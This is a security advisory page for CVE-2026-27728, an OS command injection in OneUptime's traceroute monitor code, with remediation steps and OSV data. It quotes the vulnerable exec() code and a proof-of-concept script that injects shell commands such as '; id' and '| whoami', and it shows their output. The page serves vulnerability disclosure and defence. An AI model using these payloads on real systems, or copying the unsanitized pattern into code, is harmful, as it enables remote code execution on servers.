CVE-2026-27728: OneUptime OS Command Injection Vulnerability

CRITICAL
Advisory Identifier: GHSA-jmhp-5558-qxh5
CVSS 9.9
CWE-78
Published
Advisory Summary

CVE-2026-27728 is a CRITICAL (CVSS 9.9) os command injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting OneUptime libraries in the npm ecosystem. The issue involves os command injection in probe networkpathmonitor via unsanitized destination in traceroute exec(). Remediation is available by upgrading affected packages to version 10.0.7.

CVE-2026-27728 at a Glance

CVE Identifier CVE-2026-27728
GHSA Identifier GHSA-jmhp-5558-qxh5
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product OneUptime
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-27728

To remediate this vulnerability, upgrade all affected OneUptime dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@oneuptime/common fixed: 10.0.7
npm install @oneuptime/common@10.0.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @oneuptime/common

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-27728, inspect your project dependencies using npm:

npm ls @oneuptime/common

Analyze the terminal output to locate any version of OneUptime in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 10.0.7), your application is affected.

Note: The npm ls @oneuptime/common command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In OneUptime, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary An OS command injection vulnerability in `NetworkPathMonitor.performTraceroute()` allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field. ## Details The vulnerability exists in [`Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts`](Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts), lines 149–191. The `performTraceroute()` method constructs a shell command by directly interpolating the user-controlled `destination` parameter into a string template, then executes it via `child_process.exec()` (wrapped through `promisify`): ```typescript // Line 13 — exec imported from child_process import { exec } from "child_process"; // Line 15-17 — promisified into execAsync const execAsync = promisify(exec); // Lines 149-191 — destination is never sanitized private static async performTraceroute( destination: string, // ← attacker-controlled maxHops: number, timeout: number, ): Promise<TraceRoute> { // ... let command: string; if (isWindows) { command = `tracert -h ${maxHops} -w ${...} ${destination}`; } else if (isMac) { command = `traceroute -m ${maxHops} -w 3 ${destination}`; } else { command = `traceroute -m ${maxHops} -w 3 ${destination}`; } const tracePromise = execAsync(command); // ← shell execution ``` The `destination` value originates from the public `trace()` method (line 31), which accepts `URL | Hostname | IPv4 | IPv6 | string` types. When a raw `string` is passed (line 47: `hostAddress = destination`), no validation or sanitization is performed before it reaches `performTraceroute()`. `child_process.exec()` spawns a shell (`/bin/sh`), so any shell metacharacters (`;`, `|`, `$()`, `` ` ` ``, `&&`, `||`, `\n`) in `destination` will be interpreted, allowing full command injection. ## PoC 1. poc.cjs ```javascript /** * PoC: OS Command Injection in OneUptime NetworkPathMonitor * * Replicates the exact vulnerable code path from * Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts:149-191 */ const { exec } = require("child_process"); const { promisify } = require("util"); const execAsync = promisify(exec); async function performTraceroute_VULNERABLE(destination, maxHops, timeout) { const isMac = process.platform === "darwin"; const isWindows = process.platform === "win32"; let command; if (isWindows) { command = `tracert -h ${maxHops} -w ${Math.ceil(timeout / 1000) * 1000} ${destination}`; } else if (isMac) { command = `traceroute -m ${maxHops} -w 3 ${destination}`; } else { command = `traceroute -m ${maxHops} -w 3 ${destination}`; } console.log(`[VULN] Constructed command: ${command}`); try { const { stdout, stderr } = await execAsync(command); return { stdout, stderr }; } catch (err) { return { stdout: err.stdout || "", stderr: err.stderr || err.message }; } } async function runPoC() { console.log("=== Payload 1: Semicolon chaining (;) ==="); console.log(" destination = '127.0.0.1; id'\n"); const r1 = await performTraceroute_VULNERABLE("127.0.0.1; id", 1, 5000); console.log("[stdout]:", r1.stdout); console.log("\n=== Payload 2: Pipe injection (|) ==="); console.log(" destination = '127.0.0.1 | whoami'\n"); const r2 = await performTraceroute_VULNERABLE("127.0.0.1 | whoami", 1, 5000); console.log("[stdout]:", r2.stdout); console.log("\n=== Payload 3: Subshell execution $() ==="); console.log(" destination = '127.0.0.1$(echo INJECTED)'\n"); const r3 = await performTraceroute_VULNERABLE("127.0.0.1$(echo INJECTED)", 1, 5000); console.log("[stderr]:", r3.stderr); } runPoC().catch(console.error); ``` 2. Run the PoC: ```bash node poc.cjs ``` 3. **Expected output** (confirmed on macOS with Node.js v25.2.1): ``` === Payload 1: Semicolon chaining (;) === destination = '127.0.0.1; id' [VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1; id [stdout]: 1 localhost (127.0.0.1) 0.215 ms 0.076 ms 0.055 ms uid=501(dxleryt) gid=20(staff) groups=20(staff),12(everyone)... === Payload 2: Pipe injection (|) === destination = '127.0.0.1 | whoami' [VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1 | whoami [stdout]: dxleryt === Payload 3: Subshell execution $() === destination = '127.0.0.1$(echo INJECTED)' [VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1$(echo INJECTED) [stderr]: traceroute: unknown host 127.0.0.1INJECTED ``` The `id` and `whoami` commands execute successfully, proving arbitrary command execution. The subshell payload proves inline shell evaluation — `$(echo INJECTED)` is evaluated and appended to the hostname. ## Impact **Vulnerability type:** OS Command Injection (CWE-78) **Who is impacted:** Any authenticated user with the ability to create or edit a network path monitor in a OneUptime project can execute arbitrary operating system commands on the Probe server(s). In a multi-tenant SaaS deployment, this allows a malicious tenant to: - **Execute arbitrary commands** as the Probe service user (Remote Code Execution) - **Read sensitive files** from the Probe server (e.g., environment variables, credentials, service account tokens) - **Pivot to internal services** accessible from the Probe's network position - **Compromise other tenants' monitoring data** if Probes are shared across tenants - **Establish persistent backdoors** (reverse shells, cron jobs, SSH keys) > **Note:** The `NetworkPathMonitor` class is fully implemented and exported but not yet wired into the monitor execution pipeline (no callers import it). The vulnerability will become exploitable once this monitor type is integrated. The code is present in the current codebase and ready to be activated.

CVE-2026-27728 Affected OneUptime Versions

1 component(s)
Fixed Versions:
10.0.7
Product / Package Ecosystem Affected Versions Fixed Version
@oneuptime/common
npm
< 10.0.7
10.0.7

References

Frequently Asked Questions

What is CVE-2026-27728?
CVE-2026-27728 is a security vulnerability in OneUptime involving OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec() under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which OneUptime versions are affected?
Affected versions include releases prior to 10.0.7 across affected packages: @oneuptime/common.
What version fixes CVE-2026-27728?
Upgrading to 10.0.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @oneuptime/common affected?
Yes, @oneuptime/common is affected in releases prior to 10.0.7. Upgrade your dependency to 10.0.7 or later.
What is the CVSS score of CVE-2026-27728?
CVE-2026-27728 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-27728?
CVE-2026-27728 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check npm dependencies for CVE-2026-27728?
Run the dependency tree command: 'npm ls @oneuptime/common'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jmhp-5558-qxh5",
  "modified" : "2026-02-27T20:55:31Z",
  "published" : "2026-02-25T18:09:47Z",
  "aliases" : [ "CVE-2026-27728" ],
  "summary" : "OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec()",
  "details" : "## Summary\n\nAn OS command injection vulnerability in `NetworkPathMonitor.performTraceroute()` allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field.\n\n## Details\n\nThe vulnerability exists in [`Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts`](Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts), lines 149–191.\n\nThe `performTraceroute()` method constructs a shell command by directly interpolating the user-controlled `destination` parameter into a string template, then executes it via `child_process.exec()` (wrapped through `promisify`):\n\n```typescript\n// Line 13 — exec imported from child_process\nimport { exec } from \"child_process\";\n\n// Line 15-17 — promisified into execAsync\nconst execAsync = promisify(exec);\n\n// Lines 149-191 — destination is never sanitized\nprivate static async performTraceroute(\n    destination: string,  // ← attacker-controlled\n    maxHops: number,\n    timeout: number,\n): Promise<TraceRoute> {\n    // ...\n    let command: string;\n    if (isWindows) {\n        command = `tracert -h ${maxHops} -w ${...} ${destination}`;\n    } else if (isMac) {\n        command = `traceroute -m ${maxHops} -w 3 ${destination}`;\n    } else {\n        command = `traceroute -m ${maxHops} -w 3 ${destination}`;\n    }\n\n    const tracePromise = execAsync(command);  // ← shell execution\n```\n\nThe `destination` value originates from the public `trace()` method (line 31), which accepts `URL | Hostname | IPv4 | IPv6 | string` types. When a raw `string` is passed (line 47: `hostAddress = destination`), no validation or sanitization is performed before it reaches `performTraceroute()`.\n\n`child_process.exec()` spawns a shell (`/bin/sh`), so any shell metacharacters (`;`, `|`, `$()`, `` ` ` ``, `&&`, `||`, `\\n`) in `destination` will be interpreted, allowing full command injection.\n\n## PoC\n\n\n1. poc.cjs\n```javascript\n/**\n * PoC: OS Command Injection in OneUptime NetworkPathMonitor\n *\n * Replicates the exact vulnerable code path from\n * Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts:149-191\n */\n\nconst { exec } = require(\"child_process\");\nconst { promisify } = require(\"util\");\nconst execAsync = promisify(exec);\n\nasync function performTraceroute_VULNERABLE(destination, maxHops, timeout) {\n    const isMac = process.platform === \"darwin\";\n    const isWindows = process.platform === \"win32\";\n\n    let command;\n    if (isWindows) {\n        command = `tracert -h ${maxHops} -w ${Math.ceil(timeout / 1000) * 1000} ${destination}`;\n    } else if (isMac) {\n        command = `traceroute -m ${maxHops} -w 3 ${destination}`;\n    } else {\n        command = `traceroute -m ${maxHops} -w 3 ${destination}`;\n    }\n\n    console.log(`[VULN] Constructed command: ${command}`);\n\n    try {\n        const { stdout, stderr } = await execAsync(command);\n        return { stdout, stderr };\n    } catch (err) {\n        return { stdout: err.stdout || \"\", stderr: err.stderr || err.message };\n    }\n}\n\nasync function runPoC() {\n    console.log(\"=== Payload 1: Semicolon chaining (;) ===\");\n    console.log(\"  destination = '127.0.0.1; id'\\n\");\n    const r1 = await performTraceroute_VULNERABLE(\"127.0.0.1; id\", 1, 5000);\n    console.log(\"[stdout]:\", r1.stdout);\n\n    console.log(\"\\n=== Payload 2: Pipe injection (|) ===\");\n    console.log(\"  destination = '127.0.0.1 | whoami'\\n\");\n    const r2 = await performTraceroute_VULNERABLE(\"127.0.0.1 | whoami\", 1, 5000);\n    console.log(\"[stdout]:\", r2.stdout);\n\n    console.log(\"\\n=== Payload 3: Subshell execution $() ===\");\n    console.log(\"  destination = '127.0.0.1$(echo INJECTED)'\\n\");\n    const r3 = await performTraceroute_VULNERABLE(\"127.0.0.1$(echo INJECTED)\", 1, 5000);\n    console.log(\"[stderr]:\", r3.stderr);\n}\n\nrunPoC().catch(console.error);\n```\n\n2. Run the PoC:\n\n```bash\nnode poc.cjs\n```\n\n3. **Expected output** (confirmed on macOS with Node.js v25.2.1):\n\n```\n=== Payload 1: Semicolon chaining (;) ===\n  destination = '127.0.0.1; id'\n\n[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1; id\n[stdout]:  1  localhost (127.0.0.1)  0.215 ms  0.076 ms  0.055 ms\nuid=501(dxleryt) gid=20(staff) groups=20(staff),12(everyone)...\n\n=== Payload 2: Pipe injection (|) ===\n  destination = '127.0.0.1 | whoami'\n\n[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1 | whoami\n[stdout]: dxleryt\n\n=== Payload 3: Subshell execution $() ===\n  destination = '127.0.0.1$(echo INJECTED)'\n\n[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1$(echo INJECTED)\n[stderr]: traceroute: unknown host 127.0.0.1INJECTED\n```\n\nThe `id` and `whoami` commands execute successfully, proving arbitrary command execution. The subshell payload proves inline shell evaluation — `$(echo INJECTED)` is evaluated and appended to the hostname.\n\n## Impact\n\n**Vulnerability type:** OS Command Injection (CWE-78)\n\n**Who is impacted:** Any authenticated user with the ability to create or edit a network path monitor in a OneUptime project can execute arbitrary operating system commands on the Probe server(s). In a multi-tenant SaaS deployment, this allows a malicious tenant to:\n\n- **Execute arbitrary commands** as the Probe service user (Remote Code Execution)\n- **Read sensitive files** from the Probe server (e.g., environment variables, credentials, service account tokens)\n- **Pivot to internal services** accessible from the Probe's network position\n- **Compromise other tenants' monitoring data** if Probes are shared across tenants\n- **Establish persistent backdoors** (reverse shells, cron jobs, SSH keys)\n\n> **Note:** The `NetworkPathMonitor` class is fully implemented and exported but not yet wired into the monitor execution pipeline (no callers import it). The vulnerability will become exploitable once this monitor type is integrated. The code is present in the current codebase and ready to be activated.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@oneuptime/common"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "10.0.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-jmhp-5558-qxh5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27728"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OneUptime/oneuptime/commit/f2cce35a04fac756cecc7a4c55e23758b99288c1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OneUptime/oneuptime"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-25T18:09:47Z",
    "nvd_published_at" : "2026-02-25T17:25:40Z"
  }
}